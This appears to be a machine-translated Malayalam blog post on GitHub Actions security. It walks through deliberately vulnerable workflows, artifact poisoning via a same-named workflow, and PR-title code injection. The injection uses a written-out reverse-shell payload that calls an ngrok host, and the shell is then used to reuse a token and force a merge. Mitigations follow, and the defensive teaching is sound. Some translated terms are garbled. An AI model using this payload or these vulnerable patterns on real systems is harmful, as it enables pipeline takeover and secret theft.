മുൻ പോസ്റ്റുകളിൽ (കാണുക പരോക്ഷ വിഷബാധ Pipeline എക്സിക്യൂഷൻ I-PPE ഒപ്പം വിഷം കൊടുത്തു Pipeline പിപിഇ നിർവ്വഹണം , ഞങ്ങൾ അടിസ്ഥാനപരമായി കൈകാര്യം ചെയ്തത് PPE (വിഷബാധയുള്ളത്) ആണ്. Pipeline നിർവ്വഹണം): ഇത് എങ്ങനെ പ്രവർത്തിക്കുന്നു, അതിന്റെ ഫലങ്ങൾ, ചില ചൂഷണങ്ങൾ, അതുപോലെ അതിൽ നിന്ന് സംരക്ഷിക്കാനുള്ള ചില വഴികൾ എന്നിവ ഞങ്ങൾ കണ്ടു.
ഈ പോസ്റ്റ് മറ്റു ചില കാര്യങ്ങളിലേക്ക് ആഴത്തിൽ കടക്കുന്നു. CI/CD pipeline ആർട്ടിഫാക്റ്റ് വിഷബാധ, കോഡ് ഇഞ്ചക്ഷൻ തുടങ്ങിയ ദുർബലതകൾ.
അത് ചെയ്യുന്നതിന്, നമ്മൾ അത് എങ്ങനെയെങ്കിലും PPE-യെ അടിസ്ഥാനമാക്കിയുള്ളതാക്കും, അതിനാൽ PPE-യെക്കുറിച്ച് നമ്മൾ എന്താണ് കണ്ടതെന്ന് ഒരു ദ്രുത സംഗ്രഹം നടത്താം.
PPE-യെക്കുറിച്ചുള്ള മുൻകാല പ്രവർത്തനങ്ങൾ
ചുരുക്കത്തിൽ, ഞങ്ങൾ ഒരു അടിസ്ഥാന GitHub-ൽ നിന്നാണ് ആരംഭിച്ചത്. pipeline സംഭാവന ചെയ്ത കോഡ് നിർമ്മിക്കാനും പരിശോധിക്കാനും a വഴി pull request. കൂടാതെ, ചില പരിശോധനകൾ നിർവചിക്കുന്നു, അവ പാലിച്ചാൽ, കോഡ് മുഖ്യധാരാ ബ്രാഞ്ചിലേക്ക് ലയിപ്പിക്കും. ഞങ്ങൾ ഇതിനെ ഇങ്ങനെ പേരിട്ടു തിരശ്ചീന # 1.
ഞങ്ങളുടെ മുൻ പോസ്റ്റിൽ, ഈ അടിസ്ഥാനപരമായ pipeline ആയിരുന്നു D-PPE, I-PPE എന്നിവയ്ക്ക് ഇരയാകാൻ സാധ്യതയുള്ളത്.
ഞങ്ങൾക്ക് കഴിഞ്ഞു ഡി-പിപിഇ പരിഹരിക്കുക by ട്രിഗർ ഇവന്റ് പരിഷ്കരിക്കുന്നു നിന്ന് പുൾ_റിക്വസ്റ്റ് ലേക്ക് പുൾ_റിക്വസ്റ്റ്_ടാർഗെറ്റ്, നിർമ്മിക്കുന്നു pipeline D-PPE-ക്ക് സുരക്ഷിതം. ഒരു ഓർമ്മപ്പെടുത്തൽ എന്ന നിലയിൽ, pipelineഒരു pull_request_target ഇവന്റിൽ ട്രിഗർ ചെയ്‌താൽ ബേസ് എക്സിക്യൂട്ട് ചെയ്യും. pipeline കോഡ്, അല്ല pipeline കോഡിൽ അടങ്ങിയിരിക്കുന്ന pull request.
ഞങ്ങൾ ഇതിനെ ഇങ്ങനെ പേരിട്ടു തിരശ്ചീന # 2.
ഈ പരിഷ്കരണത്തിന്റെ ഫലമായി, ഞങ്ങൾ അത് തെളിയിച്ചു സാഹചര്യം #2 ഇപ്പോഴും I-PPE യ്ക്ക് ഇരയാകാൻ സാധ്യതയുള്ളതായിരുന്നു..
അത് പരിഹരിക്കാൻ, ഞങ്ങൾ തീരുമാനിച്ചു വിഭജിക്കാൻ pipeline രണ്ടായി:
- ആദ്യത്തേത് pipeline (ബിൽഡ് സിഐ) ചെയ്യും പിആർ കോഡ് പരിശോധിക്കുക (അത് നിർമ്മിക്കാൻ), നിർമ്മാണം നടത്തി ഒരു പുരാവസ്തു സൃഷ്ടിക്കുക.
- 2-ാമത് pipeline (ടെസ്റ്റ് സിഐ) ചെയ്യും ഷെൽ സ്ക്രിപ്റ്റ് മോഡിഫിക്കേഷൻ ഒഴിവാക്കാൻ ബേസ് കോഡ് പരിശോധിക്കുക. ആർട്ടിഫാക്റ്റിനെതിരെ യഥാർത്ഥ സ്ക്രിപ്റ്റുകൾ നടപ്പിലാക്കുക.
- ടെസ്റ്റ് CI സമന്വയിപ്പിക്കുന്നതിന് pipeline ബിൽഡ് CI-ക്ക് ശേഷം പ്രവർത്തിപ്പിക്കാൻ pipeline, നമ്മൾ ഉപയോഗിക്കും വർക്ക്ഫ്ലോ_റൺ ട്രിഗർ.
ഞങ്ങൾ ഇതിനെ ഇങ്ങനെ പേരിട്ടു തിരശ്ചീന # 3.
രണ്ടിന്റെയും കോഡ് നമുക്ക് വീണ്ടെടുക്കാം. pipelineഈ പരിഷ്കാരങ്ങൾ അനുസരിച്ച്...
1st pipeline (ബിൽഡ് സിഐ):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (ടെസ്റ്റ് സിഐ):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
echo "merge=false" >> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
ആർട്ടിഫാക്റ്റ് വിഷബാധ
മുകളിൽ പറഞ്ഞ പ്രകാരം CI/CD pipelines:
- pipeline ബിൽഡ് സിഐ is സുരക്ഷിതമാണ് രണ്ടു പേർക്കും ഡി-പിപിഇ (കാരണം പുൾ_റിക്വസ്റ്റ്_ടാർഗെറ്റ്) ഒപ്പം ഐ-പിപിഇ (കാരണം അത് ഇനി ഷെൽ സ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്യുന്നില്ല).
- pipeline ടെസ്റ്റ് സിഐ കൂടിയാണ് സുരക്ഷിതമാണ് രണ്ടു പേർക്കും ഡി-പിപിഇ (കാരണം വർക്ക്ഫ്ലോ_റൺ) ഒപ്പം ഐ-പിപിഇ (കാരണം അത് യഥാർത്ഥ ഷെൽ സ്ക്രിപ്റ്റ് ലഭിക്കുന്നതിന് അടിസ്ഥാന കോഡ് പരിശോധിക്കുന്നു)
ഈ "പരിഹാര"ത്തിലേക്ക് നമുക്ക് ആഴത്തിൽ ഇറങ്ങാം.
Pipeline ടെസ്റ്റ് സിഐ ആർട്ടിഫാക്റ്റ് ഒരു സിപ്പ് ഫയലായി ഡൗൺലോഡ് ചെയ്യുന്നു.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
അൺസിപ്പ് ചെയ്‌തുകഴിഞ്ഞാൽ, അത് “സേഫ്” ഷെൽ സ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്യുന്നു. എന്തുകൊണ്ടാണ് ഞാൻ “സേഫ്” ഷെൽ സ്ക്രിപ്റ്റ് എന്ന് പറയുന്നത്? കാരണം മുമ്പത്തെ ഒരു ഘട്ടത്തിൽ, pipeline "ബേസ്" കോഡ് പരിശോധിക്കുന്നു, അങ്ങനെ യഥാർത്ഥ സ്ക്രിപ്റ്റ് വർക്ക്‌സ്‌പെയ്‌സ് ഫോൾഡറിൽ സ്ഥാപിക്കുന്നു. അതിനാൽ, എപ്പോൾ pipeline മുമ്പ് ഡൗൺലോഡ് ചെയ്ത ബൈനറി ഉപയോഗിച്ച് പ്രവർത്തിപ്പിക്കുന്ന ഷെൽ സ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്യുന്നു.
പിന്നെ, എന്താണ് പ്രശ്നം ഈ സമീപനത്തിലൂടെയാണോ? പ്രശ്നം വരുന്നത് ഏതെങ്കിലും ഉപയോക്താവ് പുതിയത് "സൃഷ്ടിക്കുമ്പോൾ" pipeline.
ഒരു ഉപയോക്താവ് പുതിയൊരു പിആർ തുറന്നാൽ pipeline, GitHub അത് എക്സിക്യൂട്ട് ചെയ്യും pipeline (ചില വ്യവസ്ഥകൾ നൽകിയാൽ, നമ്മൾ മുമ്പ് കണ്ടതുപോലെ സ്ഥാനം).
ഇത് കണക്കിലെടുക്കുമ്പോൾ, ഉപയോക്താവ് പുതിയൊരു pipeline ബിൽഡ് സിഐയുടെ അതേ പേരിൽ? അതെ, അത് ആശ്ചര്യകരമാണ്, പക്ഷേ രണ്ടെണ്ണം സൃഷ്ടിക്കാൻ GitHub നിങ്ങളെ അനുവദിക്കുന്നു pipelineഅതേ പേരിൽ!!
ബിൽഡ് CI-ക്ക് ശേഷം ടെസ്റ്റ് CI നടപ്പിലാക്കുമെന്ന് ഓർമ്മിക്കുക...
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
അതിശയകരമെന്നു പറയട്ടെ, കാരണം ഇപ്പോൾ രണ്ടെണ്ണം ഉണ്ട് pipelineഅതേ പേരിലുള്ള, pipeline ടെസ്റ്റ് CI രണ്ടുതവണ നടപ്പിലാക്കും: ഒറിജിനലിന് ശേഷം ഒന്ന് pipeline "പുതിയത്" കഴിഞ്ഞുള്ള മറ്റുള്ളവയും pipeline.
ഹാക്കർക്ക് ഇത് എങ്ങനെ മുതലെടുക്കാൻ കഴിയും?
- ആദ്യം, ഹാക്കർ നിയന്ത്രിത സെർവറിലേക്ക് രഹസ്യം അയയ്ക്കുന്നതിന് ക്ഷുദ്ര ഉപയോക്താവിന് ഷെൽ സ്ക്രിപ്റ്റ് പരിഷ്കരിക്കാൻ കഴിയും.
- രണ്ടാമതായി, പുതിയത് pipeline പരിഷ്കരിച്ച ഷെൽ സ്ക്രിപ്റ്റ് ആർട്ടിഫാക്റ്റിലേക്ക് പകർത്തുന്നതിനുള്ള ഒരു വരി ഉൾപ്പെടുന്നു → ആർട്ടിഫയെ വിഷലിപ്തമാക്കൽസിടി!!!
ഈ മാറ്റങ്ങളോടെ ഉപയോക്താവ് ഒരു PR തുറക്കുമ്പോൾ, "പുതിയത്" pipeline (വിഷം കലർന്ന ഒരു പുരാവസ്തു അപ്‌ലോഡ് ചെയ്യുന്നു) നടപ്പിലാക്കുകയും ഡിപ്ലോയ് സിഐയെ നിയമിക്കുകയും ചെയ്യും. pipeline അതിനുശേഷം നടപ്പിലാക്കും, അതിന്റെ ഫലമായി "പരിഷ്കരിച്ച" ഷെൽ സ്ക്രിപ്റ്റ്, "ഒറിജിനൽ" ഷെൽ സ്ക്രിപ്റ്റിനെ ഓവർറൈറ്റ് ചെയ്യുന്നു. pipeline വർക്ക്‌സ്‌പെയ്‌സ്.
ഇതിനെയാണ് നമ്മൾ വിളിക്കുന്നത് ആർട്ടിഫാക്റ്റ് വിഷബാധ, അതായത് പരിഷ്കരിക്കാനുള്ള (ഹാക്ക്) കഴിവ് pipeline a യുടെ പരിഷ്കരണത്തിലൂടെയുള്ള യുക്തി pipeline ശിൽപം.
സാധ്യമായ ഒന്ന് പരിഹരിക്കൽ വളരെ ലളിതമാണ്: വർക്ക്‌സ്‌പെയ്‌സിന്റെ ഒരു സബ്‌ഫോൾഡറിലേക്ക് ആർട്ടിഫാക്റ്റ് അൺസിപ്പ് ചെയ്യുന്നത് “ബേസ്” ഷെൽ സ്ക്രിപ്റ്റ് ഓവർറൈറ്റ് ചെയ്യുന്നത് ഒഴിവാക്കും..
ഇഞ്ചക്ഷൻ കോഡ്
ആർട്ടിഫാക്റ്റ് വിഷബാധയ്ക്ക് പുറമേ, മുകളിലുള്ള കോഡിൽ മറ്റെന്തെങ്കിലും ദുർബലത നിങ്ങൾക്ക് കാണാൻ കഴിയുമോ?
നമുക്ക് പോകാം!!
കോഡിൽ നിങ്ങൾക്ക് കാണാനാകുന്നതുപോലെ, pipeline ബിൽഡ് CI ബൈനറി നിർമ്മിക്കുന്നു, അത് ബൈനറിയെ a ആയി അപ്‌ലോഡ് ചെയ്യുന്നു pipeline ആർട്ടിഫാക്റ്റ്, കൂടാതെ, ഇത് രണ്ട് അധിക ഡാറ്റയും അപ്‌ലോഡ് ചെയ്യുന്നു: പിആർ ശീർഷകം, പിആർ ഐഡി.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
എന്തുകൊണ്ട്? കാരണം, താഴെ കാണുന്നത് പോലെ, PR ലയിപ്പിക്കുന്നതിന്, ടെസ്റ്റ് CI pipeline PR ലയിപ്പിക്കുന്ന GitHub REST API അഭ്യർത്ഥിക്കാൻ PR ഐഡി ആവശ്യമാണ്.
CI പരിശോധന എങ്ങനെയാണ് ചെയ്യുന്നത്? pipeline ആ പിആർ ഐഡി നേടണോ? ടെക്സ്റ്റ് ഫയലുകളിൽ വിവരങ്ങൾ പങ്കിടുന്നത് (ഒരു pipeline ആർട്ടിഫാക്റ്റ്) എന്നത് വിവരങ്ങൾ പങ്കിടുന്നതിനുള്ള ഒരു സാധാരണ മാർഗമാണ് pipelines. അതാണ് ഇവയും pipelineഎസ് ചെയ്യുന്നു.
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
കൃത്യമായി പറഞ്ഞാൽ, PR ലയിപ്പിക്കാൻ PR ഐഡി മാത്രമേ ആവശ്യമുള്ളൂ, പക്ഷേ pipeline അഡ്മിൻ ബിൽഡ് സിഐയെ പിആർ തലക്കെട്ടും ഉൾപ്പെടുത്താൻ തീരുമാനിച്ചു, അതിനാൽ ടെസ്റ്റ് സിഐ pipeline പിആർ ഐഡിയും തലക്കെട്ടും അടങ്ങിയ ചില വിവര സന്ദേശം പ്രിന്റ് ചെയ്യും.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
പിആർ ശീർഷകം എല്ലായ്പ്പോഴും ഉപയോക്താവിൽ നിന്നുള്ള ഡാറ്റയാണ്, അതിനാൽ, എല്ലായ്പ്പോഴും വിശ്വസനീയമല്ലാത്തതായി കണക്കാക്കണം.. അതിനാൽ pipeline അതുപോലെ തന്നെ കൈകാര്യം ചെയ്യുകയും സംരക്ഷണ നടപടികൾ സ്വീകരിക്കുകയും വേണം.
മുകളിലുള്ള കോഡിൽ, PR Title പ്രതിധ്വനിക്കുന്ന നിർദ്ദിഷ്ട സന്ദേശം നമുക്ക് കാണാൻ കഴിയും. ഇത് വെറും ഒരു “echo” linux കമാൻഡ് ആണ്.
സ്ട്രിംഗ് ഇന്റർപോളേഷൻ വഴി, തലക്കെട്ട് "ഒരു ഡമ്മി തലക്കെട്ട്" ആണെങ്കിൽ, ഗിത്തബ് ആന്തരികമായി ഒരു സ്ക്രിപ്റ്റ് സൃഷ്ടിക്കുന്നു, അതിൽ
echo ""a dummy title""
പക്ഷേ, പിആർ തലക്കെട്ട് ഇതുപോലെയാണെങ്കിൽ എന്തുചെയ്യും:
ക്ഷുദ്രകരമായ ശീർഷകം” && ബാഷ് -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && എക്കോ "സ്ക്രിപ്റ്റ് ഇങ്ങനെയായിരിക്കും:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
ഹാക്കർ നിയന്ത്രിത സെർവറിനെതിരെ ഒരു റിവേഴ്സ് ഷെൽ തുറക്കുന്നതിൽ കലാശിച്ചു.
ആ റിവേഴ്സ് ഷെൽ ആക്സസ് ചെയ്യാൻ ഉപയോഗിച്ചേക്കാം pipeline രഹസ്യങ്ങൾ (ടെസ്റ്റ് സിഐ പ്രിവിലേജ് മോഡിലാണ് പ്രവർത്തിക്കുന്നതെന്ന് ഓർമ്മിക്കുക, കാരണം അത് വർക്ക്ഫ്ലോ_റൺ വഴി പ്രവർത്തനക്ഷമമാകുന്നു, അതിനാൽ അതിന് രഹസ്യങ്ങളിലേക്ക് ആക്സസ് ഉണ്ട്).
പക്ഷേ, ആ റിവേഴ്സ് ഷെല്ലിലൂടെ മറ്റെന്താണ് ചെയ്യാൻ കഴിയുക?
CI ടെസ്റ്റ് കോഡ് നോക്കൂ:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
ടെസ്റ്റ് CI-യിൽ നിങ്ങൾക്ക് കാണാൻ കഴിയുന്നതുപോലെ pipeline, curl merge കമാൻഡ് GITHUB_PAT ഉപയോഗിക്കുന്നു (ഒരു ആയി നിർവചിച്ചിരിക്കുന്നത് pipeline env var), അതിനാൽ റണ്ണറിൽ ഒരു പരിസ്ഥിതി വേരിയബിളായി GITHUB_PAT അടങ്ങിയിരിക്കുന്നു. മാത്രമല്ല, ഇത് PR ID വായിക്കുന്ന ഒരു env var സൃഷ്ടിക്കുകയും ചെയ്യുന്നു.
അപ്പോൾ ഹാക്കർ ചെയ്യേണ്ടത് curl കമാൻഡ് പകർത്തി റിവേഴ്സ് ഷെല്ലിലേക്ക് ഒട്ടിക്കുക, PR നേരിട്ട് സംരക്ഷിത ബ്രാഞ്ചിലേക്ക് ലയിപ്പിക്കുക എന്നതാണ്.
ഇതിൽ നിന്നെല്ലാം സംരക്ഷിക്കാൻ:
- ലേക്ക് ഒഴിവാക്കുക വിശ്വസനീയമല്ലാത്ത ഡാറ്റ ഉപയോഗിച്ചുള്ള സ്ട്രിംഗ് ഇന്റർപോളേഷൻ (ഇതിന് സാധ്യതയുള്ളത് കോഡ് ഇൻജക്ഷൻ) മുഖേന നിർവ്വചനത്തിൽ pipeline env vars (എ.എൻ.വി.) എക്കോ കമാൻഡുകളിൽ നേരിട്ട് ഉപയോഗിക്കുന്നതിന് പകരം
ഉപയോഗിക്കുന്നതിന് പകരം:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
ഇത് ഉപയോഗിക്കുക:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- കോഡ് ഇൻജക്ഷൻ എക്സ്പ്ലോയിറ്റ് ഉപയോഗിച്ചാലും, നിങ്ങൾ ശരിയായി ചെയ്തിരുന്നെങ്കിൽ curl മെർജ് കമാൻഡ് വിജയിക്കുമായിരുന്നില്ല. നിങ്ങളുടെ pull requests നിർബന്ധിത അവലോകനത്തിലൂടെയോ അംഗീകാരത്തിലൂടെയോ.
നിഗമനങ്ങളിലേക്ക്
എങ്ങനെയോ സംരക്ഷിക്കാൻ ബുദ്ധിമുട്ടാണ് CI/CD pipelines കോൺഫിഗറേഷൻ, നേടുക pipelineദുർബലതകളിൽ നിന്ന് മുക്തമാണ്.
ഇത് അർത്ഥമാക്കുന്നില്ല CI/CD സിസ്റ്റങ്ങൾ (ഈ സാഹചര്യത്തിൽ GitHub പോലെ) സ്വയം ദുർബലമാണ്. CI/CD ദുർബലതകളിൽ നിന്ന് പരിരക്ഷിക്കുന്നതിനുള്ള മാർഗങ്ങൾ സിസ്റ്റങ്ങൾ നൽകുന്നു ... എന്നാൽ ആ പരിരക്ഷകൾ നടപ്പിലാക്കേണ്ടത് അഡ്‌മിന്റെ ഉത്തരവാദിത്തമാണ്.
പക്ഷേ… ഒരു ദുർബലതയെക്കുറിച്ച് നിങ്ങൾക്ക് അവബോധമില്ലെങ്കിൽ അത് പരിഹരിക്കാൻ കഴിയില്ല!!!
തീർച്ചയായും ഉയർന്ന വൈദഗ്ധ്യമുള്ള ഒരു ഡെവലപ്‌മെന്റ് അഡ്മിന് ഈ ഭീഷണികളെല്ലാം മനസ്സിൽ ഉണ്ടായിരിക്കുകയും ശരിയായി സംരക്ഷിക്കുകയും ചെയ്യാം CI/CD pipelineഎന്നിരുന്നാലും, ഈ തരത്തിലുള്ള എല്ലാ ദുർബലതകളും കണ്ടെത്തുന്നതിന് ഒരു ഉൽപ്പന്നം ഉപയോഗിക്കുന്നത് വളരെ വിലപ്പെട്ടതാണ്. തീർച്ചയായും ഈ ദുർബലത തടയൽ പ്രക്രിയ ഓട്ടോമേറ്റ് ചെയ്യാനും (ഉദാഹരണത്തിന്, സ്കാൻ പ്രവർത്തിപ്പിക്കുന്നത് CI/CD pipelines).
ഈ സമീപനത്തെ "" എന്ന് വിളിക്കാം.സുരക്ഷാ ഗേറ്റ്”:
- ഒരു പുതിയ സൃഷ്ടിക്കുക pipeline (സെക്യൂരിറ്റി ഗേറ്റ്) പരിശോധിക്കാൻ CI/CD pipelineയുടെ ദുർബലതകൾ കണ്ടെത്തി മറ്റ് CI ആക്കുക pipelineസുരക്ഷാ ഗേറ്റ് വിജയകരമായി പൂർത്തിയാക്കിയതിനുശേഷം മാത്രമേ നടപ്പിലാക്കാവൂ. pipeline.
- സുരക്ഷാ കവാടം pipelineഎസ് പരിശോധിക്കും CI/CD pipelineദുർബലതകളും,
- വൾണുകൾ കണ്ടെത്തിയാൽ, അത് പരാജയപ്പെടും, അതിനാൽ, മറ്റൊന്ന് pipelineകൾ നടപ്പിലാക്കില്ല.
- വൾണുകളൊന്നും കണ്ടെത്തിയില്ലെങ്കിൽ, pipeline വിജയിക്കും, മറ്റേതും pipelines പതിവുപോലെ എക്സിക്യൂട്ട് ചെയ്യും.
